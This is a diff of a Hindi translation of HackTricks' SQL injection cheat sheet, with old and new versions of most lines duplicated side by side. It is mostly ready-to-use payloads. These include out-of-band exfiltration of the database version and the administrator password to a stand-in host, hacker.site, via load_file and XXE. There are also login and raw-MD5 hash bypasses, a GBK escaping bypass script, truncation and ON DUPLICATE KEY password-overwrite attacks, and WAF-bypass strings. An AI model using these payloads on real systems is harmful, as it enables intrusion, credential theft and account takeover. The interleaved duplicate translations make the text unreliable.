आप स्टैक्ड क्वेरीज़ का उपयोग **एक के बाद एक कई क्वेरीज़ को निष्पादित करने** के लिए कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड कमजोरियों** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर करने के लिए कर सकते हैं।
**Oracle** स्टैक्ड क्वेरीज का समर्थन नहीं करता है**MySQL, Microsoft** और **PostgreSQL** इन्हें समर्थन करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle** **स्टैक्ड क्वेरीज़** का समर्थन नहीं करता। **MySQL, Microsoft** और **PostgreSQL** उनका समर्थन करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
अगर **कोई अन्य** उत्पीड़न विधि **काम नहीं करती** है, तो आप डेटाबेस से जानकारी को आपके द्वारा नियंत्रित बाह्य होस्ट पर निकालने का प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज के माध्यम से:
यदि **कोई अन्य** शोषण विधि **काम नहीं करती**, तो आप **डेटाबेस को** जानकारी को आपके द्वारा नियंत्रित **बाहरी होस्ट** पर निकालने के लिए प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज के माध्यम से:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### एक्सएक्सई के माध्यम से आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन
### XXE के माध्यम से आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## स्वचालित शोधन
## Automated Exploitation
[**sqlmap**](https://github.com/sqlmapproject/sqlmap) के साथ एक SQLi दुरुपयोग को शोधन करने के लिए [SQLMap Cheetsheat](sqlmap/) की जाँच करें।
Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## तकनीक विशिष्ट जानकारी
## Tech specific info
हमने पहले ही एक SQL Injection दुरुपयोग को शोधन करने के सभी तरीके चर्चा की है। इस पुस्तक में डेटाबेस प्रौद्योगिकी पर निर्भर कुछ और तरकीबें खोजें:
हम पहले ही SQL Injection vulnerability का फायदा उठाने के सभी तरीकों पर चर्चा कर चुके हैं। इस पुस्तक में कुछ और तकनीकें जो डेटाबेस प्रौद्योगिकी पर निर्भर हैं, खोजें:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
@ -268,29 +272,27 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
या आपको **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के संबंध में बहुत सारी तरकीबें** मिलेंगी [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
या आप **MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी तकनीकें** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) में पाएंगे।
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए हर शाखा में प्रौद्योगिकी और साइबर सुरक्षा व्यावसायिकों के लिए एक उत्तेजक मिलन स्थल है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
## प्रमाणीकरण बायपास
## Authentication bypass
लॉगिन कार्यक्षमता को बायपास करने की कोशिश करने के लिए सूची:
लॉगिन कार्यक्षमता को बायपास करने के लिए प्रयास करने के लिए सूची:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}
### रॉ हैश प्रमाणीकरण बायपास
### Raw hash authentication Bypass
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
यह क्वेरी एक कमजोरी को प्रदर्शित करती है जब MD5 का उपयोग सत्य के साथ किया जाता है जांच में रॉ आउटपुट के साथ, जिससे सिस्टम SQL इन्जेक्शन के लिए संवेदनशील हो जाता है। हमलावर इसे उत्पन्न कर सकते हैं जब वे इनपुट को तैयार करते हैं जो, जब हैश किया जाता है, अप्रत्याशित SQL कमांड भागों को उत्पन्न करते हैं, जिससे अनधिकृत पहुंच मिलती है।
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -299,16 +301,16 @@ sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**सुझाई गई सूची**:
**सिफारिश की गई सूची**:
आपको प्रत्येक पंक्ति का उपय उपयोगकर्ता नामके रूप में करना चाहिए और हमेशा पासवर्ड के रूप में: _**Pass1234.**_\
_(ये पेलोड इस सेक्शन की शुरुआत में उल्लिखित बड़ी सूची में भी शामिल हैं)_
आपको सूची की प्रत्येक पंक्ति को उपयोगकर्ता नाम के रूप में और हमेशा पासवर्ड के रूप में उपयोग करना चाहिए: _**Pass1234.**_\
_(ये पेलोड भी इस अनुभाग की शुरुआत में उल्लेखित बड़ी सूची में शामिल हैं)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK प्रमाणीकरण बापास
### GBK प्रमाणीकरण बापास
यदि ' को छोड़ दिया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को छोड़ दिया जाता है तो यह बनाया जाएगा: 0xA80x5c0x27 (_╘'_)
यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को स्केप किया जाता है तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -323,56 +325,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### पॉलीग्लॉट इन्जेक्शन (मल्टीकॉन्टेक्स्ट)
### पॉलीग्लॉट इजेक्शन (मल्टीकॉन्टेक्स्ट)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## इन्सर्ट स्टेटमेंट
## Insert Statement
### मौजूदा ऑब्ज
### Modify password of existing object/user
To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
* Create user named: **AdMIn** (uppercase & lowercase letters)
* Create a user named: **admin=**
* **SQL Truncation Attack** (जब उपयोगकर्ता नाम या ईमेल में कुछ प्रकार की **लंबाई सीमा** होती है) --> Create user with name: **admin \[a lot of spaces] a**
#### SQL Truncation Attack
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL Insert time based checking
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### डुप्लिकेट कुंजी अपडेट
### ON DUPLICATE KEY UPDATE
`ON DUPLICATE KEY UPDATE` क्लॉज MySQL में उपयोग किया जाता है ताकि डेटाबेस को बताया जा सके कि जब कोशिश की जाती है कि एक पंक्ति डाली जाए जो एक अद्वितीय सूचकांक या प्राथमिक कुंजी में एक डुप्लिकेट मान देगी, तो डेटाबेस को क्या कार्रवाई करनी चाहिए। निम्नलिखित उदाहरण दिखाता है कि यह सुविधा कैसे उपयोग की जा सकती है ताकि एक प्रशासक खाते का पासवर्ड संशोधित किया जा सके:
MySQL में `ON DUPLICATE KEY UPDATE` क्लॉज़ का उपयोग तब किया जाता है जब एक पंक्ति को डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग एक व्यवस्थापक खाते का पासवर्ड संशोधित करने के लिए कैसे किया जा सकता है:
उदाहरण पेलोड इन्जेक्शन:
Example Payload Injection:
एक इन्जेक्शन पेलोड निम्नलिखित रूप में तैयार किया जा सकता है, जहां `users` तालिका में दो पंक्तियों को डालने की कोशिश की जाती है। पहली पंक्ति एक छलका है, और दूसरी पंक्ति मौजूदा प्रशासक के ईमेल को लक्ष्य बनाकर पासवर्ड अपडेट करने की इच्छा रखती है:
एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ `users` तालिका में दो पंक्तियाँ डालने का प्रयास किया जाता है। पहली पंक्ति एक डिकॉय है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
यह कैसे काम करता है:
Here's how it works:
- क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: एक `generic_user@example.com` के लिए और दूसरा `admin_generic@example.com` के लिए।
- अगर `admin_generic@example.com` के लिए पंक्ति पहले से मौजूद है, तो `ON DUPLICATE KEY UPDATE` क्लॉज़ ट्रिगर होता है, जिससे MySQL को मौजूदा पंक्ति के `password` फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने के लिए निर्देशित किया जाता है।
- इसके फलस्वरूप, प्रमाणीकरण फिर `admin_generic@example.com` का उपयोग करके किया जा सकता है जिसका पासवर्ड "bcrypt_hash_of_newpassword" का है ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश को प्रतिनिधित करता है, जिसे वास्तविक हैश से बदल देना चाहिए)।
- क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: एक `generic_user@example.com` के लिए और दूसर `admin_generic@example.com` के लिए।
- यदि `admin_generic@example.com` के लिए पंक्ति पहले से मौजूद है, तो `ON DUPLICATE KEY UPDATE` क्लॉज सक्रिय होता है, MySQL को मौजूदा पंक्ति के `password` फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने के लिए निर्देशित कता है।
- परिणामस्वरूप, प्रमाणीकरण `admin_generic@example.com` का उपयोग करके bcrypt है ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश का प्रतिनिधित्व करता है, जिसे इच्छित पासवर्ड के वास्तविक हैश से बदलना चाहिए) के साथ किया जा सकता है
### जानकारी निकालें
### Extract information
#### एक साथ 2 खाते बनाना
#### Creating 2 accounts at the same time
नए उपयोगकर्ता और उपयोगकर्ता नाम, पासवर्ड और ईमेल बनाने की कोशिश करते समय:
जब एक नया उपयोगकर्ता और उपयोगकर्ता नाम बनाने का प्रयास किया जाता है, तो पासवर्ड और ईमेल की आवश्यकता होती है:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### दशमलव या षोड़शांक का उपयोग
#### दशमलव या हेक्साडेसिमल का उपयोग करना
इस तकनीक के साथ आप केवल 1 खाता बनाते हुए जानकारी निकाल सकते हैं। यह महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।
इस तकनीक के साथ आप केवल 1 खाता बनाकर जानकारी निकाल सकते हैं। यह ध्यान रखना महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।
**hex2dec** और **substr** का उपयोग करें:
**hex2dec** और **substr** का उपयोग करते हुए:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
टेक्निकल टर्मिनोलॉजी के लिए इस्तेमाल कर सकते हैं:
टेक्स्ट प्राप्त करने के लिए आप उपयोग कर सकते हैं:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
**हेक्स** और **रिप्लेस** (और **सबस्ट्र** का उपयोग करके):
**हैक्स** और **रिप्लेस** (और **सब्स्ट्र**) का उपयोग करते हुए:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -383,26 +405,26 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान बिंदु है हर विषय में
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL injection
रूटेड SQL इन्जेक्शन एक स्थिति है जहाँ इन्जेक्टेबल क्वेरी वह नहीं है जो आउटपुट देती है बल्कि इन्जेक्टेबल क्वेरी का आउटपुट उस क्वेरी में जाता है जो आउटपुट देती है। ([पेपर से](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection एक ऐसी स्थिति है जहां injectable query वह नहीं है जो आउटपुट देती है, बल्कि injectable query का आउटपुट उस query में जाता है जो आउटपुट देती है। ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
उदाहरण:
Example:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF बायपास
## WAF Bypass
[यहाँ से प्रारंभिक बायपास](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### कोई अंतर्विराम बायपास
### No spaces bypass
कोई अंतर्विराम (%20) - व्हाइटस्पेस विकल्प का उपयोग करके बायपास करें
कोई स्पेस (%20) - व्हाइटस्पेस विकल्पों का उपयोग करके बायपास
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -411,33 +433,31 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
### No Whitespace - टिप्पणियों का उपयोग करके बायपास करें
जब आप SQL इंजेक्शन हमले के दौरान कोड में कोई व्हाइटस्पेस नहीं डाल सकते हैं, तो आप टिप्पणियों का उपयोग करके इस सुरक्षा उल्लंघन को बायपास कर सकते हैं। इस तकनीक का उपयोग करके आप SQL क्वेरी में अपने धारकों को जोड़ सकते हैं और व्यावसायिक डेटाबेस सिस्टम को हैक कर सकते हैं।
No Whitespace - टिप्पणियों का उपयोग करके बायपास
```sql
?id=1/*comment*/and/**/1=1/**/--
```
### कोई व्हाइटस्पेस - पैरेंथेसिस का उपयोग करके बायपास करें
No Whitespace - पेरेंटेसिस का उपयोग करके बायपास
```sql
?id=(1)and(1)=(1)--
```
### कोई विराम नहीं
### No commas bypass
ऑफसेट, फ्रॉम और ज्वाइन का उपयोग करके विराम नहीं - बायपास
कोई कॉमा - OFFSET, FROM और JOIN का उपयोग करके बायपास
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### सामान्य बायपास
### Generic Bypasses
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास करें
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
### Blacklist के लिए कीवर्ड का इस्तेमाल केस इनसेंसिटिव - एक समकक्ष ऑपरेटर का इस्तेमाल करके बायपास करें
कीवर्ड का उपयोग करके ब्लैकलिस्ट - समकक्ष ऑपरेटर का उपयोग करके बायपास करें
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -445,25 +465,25 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### वैज्ञानिक नोटेशन WAF बायपास
### Scientific Notation WAF bypass
आप इस तरह के ट्रिक का अधिक विस्तृत विवरण [gosecure ब्लॉग](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) में पा सकते हैं।\
मूल रूप से, आप WAF को बायपास करने के लिए अप्रत्याशित तरीकों में वैज्ञानिक नोटेशन का उपयोग कर सकते हैं:
आप इस ट्रिक के बारे में अधिक गहन व्याख्या [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) में पा सकते हैं।\
बुनियादी रूप से, आप WAF को बायपास करने के लिए वैज्ञानिक संकेतन का अप्रत्याशित तरीकों से उपयोग कर सकते हैं:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### कॉलम नामों की प्रतिबंधन को उमीद से पार करें
### कॉलम नामों की सीमा को बायपास करें
सबसे पहले, ध्यान दें कि यदि **मूल क्वेरी और उस तालिका में जहां से आप झंडा निकालना चाहते हैं, उनके पास एक ही संख्या के कॉलम हैं** तो आप बस यह कर सकते हैं: `0 UNION SELECT * FROM flag`
सबसे पहले, ध्यान दें कि यदि **मूल क्वेरी और वह तालिका जहाँ आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
यह संभव है कि आप **किसी तालिका के तीसरे कॉलम तक पहुंचें बिना उसके नाम का उपयोग किए** एक क्वेरी का उपयोग करके, जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, इसलिए एक एसक्यूएल इन्जेक्शन में यह ऐसा दिखेगा:
यह संभव है कि **किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुंचा जाए** एक क्वेरी का उपयोग करके जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह इस तरह दिखेगा:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
या **कॉमा बायपास** का उपयोग करें:
या **comma bypass** का उपयोग करके:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
@ -474,29 +494,36 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
{% embed url="https://github.com/m4ll0k/Atlas" %}
## अन्य मार्गदर्शिकाएं
## अन्य गाइड
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## ब्रूट-फोर्स पहचान सूची
## ब्रूट-फोर्स डिटेक्शन लिस्ट
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उच्च बिंदु है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबरसिक्योरिटी इवेंट है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसिक्योरिटी पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण देखना है या हैकट्रिक्स को पीडीएफ में डाउनलोड करना है**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# MySQL इंजेक्शन
# MySQL injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
